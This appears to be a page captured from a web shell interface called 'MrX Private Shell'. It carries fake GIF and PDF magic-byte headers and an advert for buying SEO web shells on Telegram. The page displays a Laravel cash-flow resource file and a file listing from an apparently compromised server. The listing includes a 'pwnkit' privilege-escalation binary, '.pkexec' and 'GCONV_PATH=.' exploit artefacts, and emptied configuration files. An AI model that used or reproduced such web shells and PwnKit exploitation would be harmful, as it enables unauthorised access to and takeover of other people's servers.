GIF89; GIF89; %PDF- %PDF-
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace App\Http\Resources;
use App\Domain\Payment\Enums\PaymentTypeEnum;
use Illuminate\Http\Request;
use Illuminate\Http\Resources\Json\JsonResource;
class CashFlowProjectCreditResource extends JsonResource
{
public function toArray(Request $request): array
{
$totalExtradition = 0;
return [
'id' => $this->id,
'name' => $this->name,
'project' => $this->paymentDistributions->map(function ($item) use (&$totalExtradition) {
if (!$item->project) {
return null;
}
if ($item->payment->payment_type == PaymentTypeEnum::PAYMENT_TYPE_ISSUEANCE->value) {
$amount = (float)$item->amount;
$totalExtradition += $amount;
}
return [
'id' => $item->project->id,
'description' => $item->project->description,
'short_description' => $item->project->short_description,
'offer_number' => $item->project->offer_number,
'object_address' => $item->project->object_address,
'total_extradition' => $totalExtradition,
'payment' => [
'id' => $item->payment->id,
'name' => $item->payment->name,
'amount' => $item->amount,
'status' => $item->payment->status,
'payment_type' => $item->payment->payment_type,
'payment_date' => $item->payment->payment_date,
],
];
})->filter()->values(),
];
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| .git | Folder | 0755 |
|
|
| .pkexec | Folder | 0755 |
|
|
| .scribe | Folder | 0755 |
|
|
| GCONV_PATH=. | Folder | 0755 |
|
|
| app | Folder | 0755 |
|
|
| bootstrap | Folder | 0755 |
|
|
| config | Folder | 0755 |
|
|
| database | Folder | 0755 |
|
|
| docker | Folder | 0755 |
|
|
| k8s | Folder | 0755 |
|
|
| lang | Folder | 0755 |
|
|
| mocks | Folder | 0755 |
|
|
| public | Folder | 0755 |
|
|
| resources | Folder | 0755 |
|
|
| routes | Folder | 0755 |
|
|
| storage | Folder | 0755 |
|
|
| tests | Folder | 0755 |
|
|
| vendor | Folder | 0755 |
|
|
| 01KFX1CYAABDKCK27C2KDZBH4V.json | File | 0 B | 0644 |
|
| ArticleToGroup.php | File | 464 B | 0644 |
|
| AuthService.php | File | 699 B | 0644 |
|
| BankService.php | File | 0 B | 0644 |
|
| BaseApiRequest.php | File | 275 B | 0644 |
|
| BasePaymentStatusModel.php | File | 6.76 KB | 0644 |
|
| BaseService.php | File | 101 B | 0644 |
|
| CashFlowProjectCreditResource.php | File | 1.69 KB | 0644 |
|
| CashFlowService.php | File | 0 B | 0644 |
|
| ClockInterface.php | File | 559 B | 0644 |
|
| HashableInterface.php | File | 0 B | 0644 |
|
| MessageResponse.php | File | 0 B | 0644 |
|
| PaymentDistribution.php | File | 1.13 KB | 0644 |
|
| README.md | File | 1.84 KB | 0644 |
|
| ResetPasswordNotification.php | File | 1.28 KB | 0644 |
|
| ResponseDto.php | File | 1.15 KB | 0644 |
|
| RoleTableSeeder.php | File | 1.04 KB | 0644 |
|
| StatusNotification.php | File | 744 B | 0644 |
|
| TimeBasedUidInterface.php | File | 519 B | 0644 |
|
| TransportExceptionInterface.php | File | 506 B | 0644 |
|
| api.php | File | 0 B | 0644 |
|
| app.php | File | 4.23 KB | 0644 |
|
| auth-20260128070408.php | File | 0 B | 0644 |
|
| auth.php | File | 0 B | 0644 |
|
| cache-20260128070937.php | File | 0 B | 0644 |
|
| debugbar.php | File | 0 B | 0644 |
|
| index.blade.php | File | 21.07 KB | 0644 |
|
| index.html | File | 445 B | 0644 |
|
| index.php | File | 468 B | 0644 |
|
| integrations.php | File | 711 B | 0644 |
|
| makefile-20260127181230. | File | 164 B | 0644 |
|
| phpunit-20260128064127.xml | File | 0 B | 0644 |
|
| phpunit.xml | File | 0 B | 0644 |
|
| pwnkit | File | 10.99 KB | 0755 |
|
| services-20260128072548.php | File | 0 B | 0644 |
|
| services.php | File | 0 B | 0644 |
|
| testOperations.php | File | 601 B | 0644 |
|
| web.php | File | 0 B | 0644 |
|